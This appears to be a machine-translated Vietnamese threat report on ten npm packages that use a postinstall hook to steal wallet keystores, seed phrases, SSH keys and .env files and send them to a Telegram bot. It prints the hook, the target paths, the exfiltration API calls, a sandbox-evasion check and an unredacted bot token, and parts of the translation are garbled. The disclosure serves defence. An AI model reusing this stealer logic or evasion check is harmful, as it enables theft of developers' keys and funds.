TL; DR
Vào ngày 9 tháng 6 năm 2026, một tài khoản nhà xuất bản npm duy nhất, aicrypto-xzgggđã được vận chuyển mười gói hàng với những cái tên mang hơi hướng tiền điện tử và Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9và sáu cái nữa.
Mỗi gói đều chạy cùng một tải trọng từ một postinstall hook. Khi cài đặt, nó kiểm tra xem có đang chạy bên trong CI hay môi trường sandbox hay không — nếu không, nó sẽ đọc các kho khóa ví, tệp cụm từ hạt giống, khóa SSH, và .env Thu thập các tập tin từ sáu hệ sinh thái blockchain khác nhau và truyền chúng đến một bot Telegram.
Dấu hiệu duy nhất mà người phòng thủ có thể tìm kiếm ngay lập tức là ID của bot Telegram. 8227918239.
Mức độ nghiêm trọng: quan trọng — hành vi trộm cắp trực tiếp các khóa ký và cụm từ khôi phục từ máy trạm phát triển.
Cuộc tấn công: Cơ chế hoạt động
Các gói phần mềm này tự quảng cáo là các tiện ích dành cho nhà phát triển blockchain. package.json mức độ tối thiểu và hướng vòng đời cài đặt vào một tập lệnh:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" } scripts/postinstall.js Đây là một đoạn mã trung gian một dòng dùng để tải trọng thực sự: require(“../src/index.js”). Bởi vì sau khi cài đặt chạy tự động trong quá trình NPM cài đặtViệc này không yêu cầu lập trình viên phải nhập mã — chỉ cần đặt gói vào cây phụ thuộc là đủ để thực thi nó.
Chuỗi giết chóc bên trong src / index.js Gồm bốn bước:
- Kiểm tra môi trường. Chức năng bảo vệ quyết định xem máy chủ có giống một tác nhân xây dựng hay một môi trường phân tích hay không.
- Trì hoãn. Việc thực thi bị hoãn lại sau một setTimeout Khoảng 7.4 giây.
- Bộ sưu tập. Hệ thống sẽ duyệt qua một danh sách cố định các đường dẫn đến ví, khóa và tệp bí mật; các tệp hiện có sẽ được xếp vào hàng đợi.
- Rò rỉ. Các tệp được xếp vào hàng đợi sẽ được gửi đến một bot Telegram, kèm theo một tin nhắn tóm tắt.
Danh sách mục tiêu thu thập trải rộng trên sáu chuỗi cộng với các bí mật chung của nhà phát triển. (Đã cắt bớt)
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.local Tổng cộng có 21 đường dẫn. Các mục trong thư mục như sau: ~/.ethereum/keystore được mở rộng và mọi tập tin bên trong đều được xếp vào hàng đợi. Quá trình đánh cắp dữ liệu sử dụng trực tiếp API của Telegram Bot — một gửi tin nhắn cuộc gọi với thông tin tóm tắt về máy chủ và tệp, sau đó là gửi tài liệu Tải lên nhiều phần cho mỗi tập tin:
văn bản
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file) Thông báo tóm tắt mà đoạn mã tạo ra bắt đầu bằng chuỗi ký tự. KẺ TRỘM TIỀN ĐIỆN TỬTiếp theo là tên máy chủ, tên người dùng, tên gói nguồn, số lượng tệp và dấu thời gian.
Có gì mới ở đây
Điểm khác biệt không nằm ở cơ chế đánh cắp — việc trích xuất dữ liệu dựa trên Telegram từ npm. sau khi cài đặt hooks Đây là con đường quen thuộc. Nó là cổng thực thi. Trước khi thực hiện bất cứ điều gì, payload sẽ gọi một hàm trả về true khi máy chủ giống với trình chạy CI hoặc sandbox, và trả về sớm khi không giống:
văn bản
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape) Biểu thức chính quy container-id là điều khoản đáng chú ý: tên máy chủ gồm 12 ký tự thập lục phân là hình dạng mặc định mà Docker gán cho một container. chứaVì vậy, phần mềm độc hại coi "tên máy chủ của tôi trông giống như một container Docker" là lý do để duy trì trạng thái ngủ đông. Kết hợp với độ trễ bảy giây, thiết kế này ưu tiên chạy trên máy trạm thực của nhà phát triển và giữ im lặng ở bất kỳ nơi nào trông giống như phân tích tự động. Cơ chế này đã ngăn chặn các tín hiệu phân tích động và giữ cho luồng dữ liệu tĩnh được trích xuất làm bằng chứng buộc tội chính.
Lịch Trình Sự Kiện
| Ngày (UTC) | Sự kiện |
|---|---|
| 2026-06-09 ~02:48 | Các gói đầu tiên trong cụm được gắn cờ khi xuất bản (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Các thành viên có phiên bản cao hơn được gắn cờ (ethereum-kit-9 ở tuổi 1.25.36, wallet-sdk-9 lúc 3.7.73) |
| 2026-06-09 ~03:58–03:59 | Các thành viên cuối cùng đã được gắn cờ (defi-tools-39 ở tuổi 4.26.29, swap-sdk-87 ở tuổi 4.63.78, farming-tools-12 lúc 4.68.54) |
| 2026-06-09 | Cả mười phần mềm đều được phân loại là độc hại và đã được báo cáo để xóa khỏi registry. |
Cả mười bài viết đều xuất hiện trong khoảng bảy mươi phút, phù hợp với một kịch bản đăng tải duy nhất từ một tài khoản duy nhất.
Các chỉ số về sự thỏa hiệp
Các chỉ số mạng và hành vi (đã được lược bỏ mã độc của máy chủ):
| chỉ số | Giá trị |
|---|---|
| Điểm cuối xuất khẩu | api[.]telegram[.]org (API Bot Telegram) |
| ID bot Telegram | 8227918239 |
| Mã thông báo Bot | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID nhóm chat Telegram | 6433587894 |
| Lắp đặt móc | postinstall → scripts/postinstall.js → src/index.js |
| Dây đánh dấu | CRYPTO STEALER trong thông điệp tóm tắt đã được biên soạn |
| Nhà xuất bản | aicrypto-xzggg (email đã nêu) vipsyria88@gmail[.]com(chưa được xác minh) |
Các gói và phiên bản, mỗi gói đều có mã SHA-256 của nó. src / index.js tải trọng (các tải trọng này về cơ bản là giống hệt nhau và chỉ khác nhau ở nhãn tên gói được nhúng, do đó mỗi mã băm là riêng biệt):
| Bưu kiện | phiên bản | Mã SHA-256 của src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Một truy vấn tìm kiếm đơn giản: tìm kiếm nhật ký cài đặt và tệp khóa cho bất kỳ tên nào trong số mười tên đó, và tìm kiếm lưu lượng truy cập đi ra để tìm các kết nối đến API Telegram Bot từ các máy chủ xây dựng hoặc nhà phát triển mà không sử dụng API này.
Sự quy kết và hành vi quan sát được
Cả mười gói sản phẩm đều được đăng tải bởi cùng một tài khoản. aicrypto-xzggg, người có địa chỉ email đã nêu là vipsyria88@gmail.comCả địa chỉ email và liên kết nguồn đều chưa được xác minh trong siêu dữ liệu đăng ký, và tài khoản này có điểm uy tín rất thấp. Chúng tôi chưa xác nhận được ai là người điều hành tài khoản này.
Có hai chi tiết cần được tách biệt khỏi bất kỳ tuyên bố nào về danh tính. Thứ nhất, package.json tác giả trường đọc Alex Smith trên mỗi gói, trong khi tài khoản xuất bản thực tế là aicrypto-xzgggThứ nhất, trường tác giả là siêu dữ liệu tự khai báo và không xác lập quyền tác giả. Số phiên bản rất khác nhau — một số thành viên có số phiên bản ở mức... 1.0.0, những người khác tại 4.68.54 — điều này phù hợp với việc tái sử dụng một gói dữ liệu duy nhất trên các tên gói mới được tạo ra thay vì duy trì lịch sử phát hành thực tế.
Hành vi này đồng nhất trên toàn cụm: cùng một danh sách đường dẫn đích, cùng một ID bot Telegram và ID trò chuyện, cùng một cổng môi trường, cùng một... KẺ TRỘM TIỀN ĐIỆN TỬ Dấu hiệu nhận biết. Tính đồng nhất đó là mối liên kết mạnh nhất giữa các gói phần mềm. Đó là tín hiệu của cùng một nhà khai thác, chứ không phải là sự đồng nhất.
Tác động, xu hướng và hướng dẫn dành cho người bảo vệ
Rủi ro là có thật. Một nhà phát triển cài đặt bất kỳ gói phần mềm nào trong số này trên máy trạm chứa ví phần mềm, tệp cụm từ khôi phục hoặc khóa SSH sẽ thấy các tệp đó bị đọc và truyền ra khỏi máy chủ chỉ trong vài giây. Cụm từ khôi phục và khóa ký không hết hạn như mã thông báo phiên; một khi... mnemonic.txt hoặc một Solana id.json Khi máy rời khỏi vị trí, số tiền mà máy kiểm soát sẽ gặp rủi ro cho đến khi được chuyển đi. Quá trình này cũng bao gồm việc thu thập thông tin. .NS các tệp này thường chứa khóa API và thông tin đăng nhập cơ sở dữ liệu.
Có hai xu hướng đứng sau cụm này. Thứ nhất là việc tiếp tục sử dụng các tên gọi liên quan đến mật mã và Web3 để thu hút một đối tượng cụ thể — các nhà phát triển giữ ví và khóa trên cùng một máy mà họ cài đặt các thư viện phụ thuộc. Thứ hai là sự hoàn thiện của việc né tránh môi trường sandbox trong các payload cài đặt. Một cơ chế kiểm tra các biến môi trường CI, tên người dùng runner và hình dạng tên máy chủ ID container Docker là một nỗ lực có chủ đích để hoạt động khác biệt khi phân tích so với trên một máy trạm thực tế, và nó nâng cao tiêu chuẩn cho việc phát hiện hoàn toàn động.
Dành cho hậu vệ:
Cài đặt với tùy chọn tắt tập lệnh theo mặc định. npm install –ignore-scripts, hoặc thiết lập ignore-scripts=true in .npmrc, ngăn cản sau khi cài đặt Thực thi; chỉ cho phép sử dụng tập lệnh đối với các phụ thuộc cụ thể thực sự cần đến chúng.
Hãy giữ ví điện tử và khóa ký điện tử ở ngoài các máy chủ xây dựng và phát triển. Sử dụng ví phần cứng hoặc máy chủ ký điện tử chuyên dụng, không phụ thuộc vào bất kỳ phần mềm nào khác.
Điều trị .NSCác tệp khóa và tệp cụm từ hạt giống được coi như những báu vật. Chúng không bao giờ nên nằm trong cùng một thư mục với các thư mục khác. NPM cài đặt cây làm việc.
Hãy tìm kiếm các kết nối đi ra đến API Telegram Bot từ CI và các máy chủ phát triển. Hầu hết các môi trường xây dựng không bao giờ gọi đến nó; một môi trường đột nhiên gọi đến API này ngay sau khi cài đặt thì đáng để điều tra.
Ghim và xem xét các phần phụ thuộc. Một gói hoàn toàn mới với tên mã hóa chung, một sau khi cài đặt hook, và không có liên kết kho lưu trữ nào cần được xem xét trước khi nó được đưa vào tệp khóa.
Điều khoản né tránh ID container cũng là lời nhắc nhở cho các nhà phân tích: một payload trong quá trình cài đặt nằm im trong môi trường sandbox không phải là vô hại, mà nó có tính chọn lọc. Việc xem xét tĩnh đường dẫn cài đặt vẫn là cách đáng tin cậy để xem quá trình thực thi động có thể bỏ sót điều gì.
dự án
Tài liệu hướng dẫn cài đặt npm — các tập lệnh vòng đời và –Ignore-scripts— Tham khảo hướng dẫn tắt cài đặt tự động hooks.





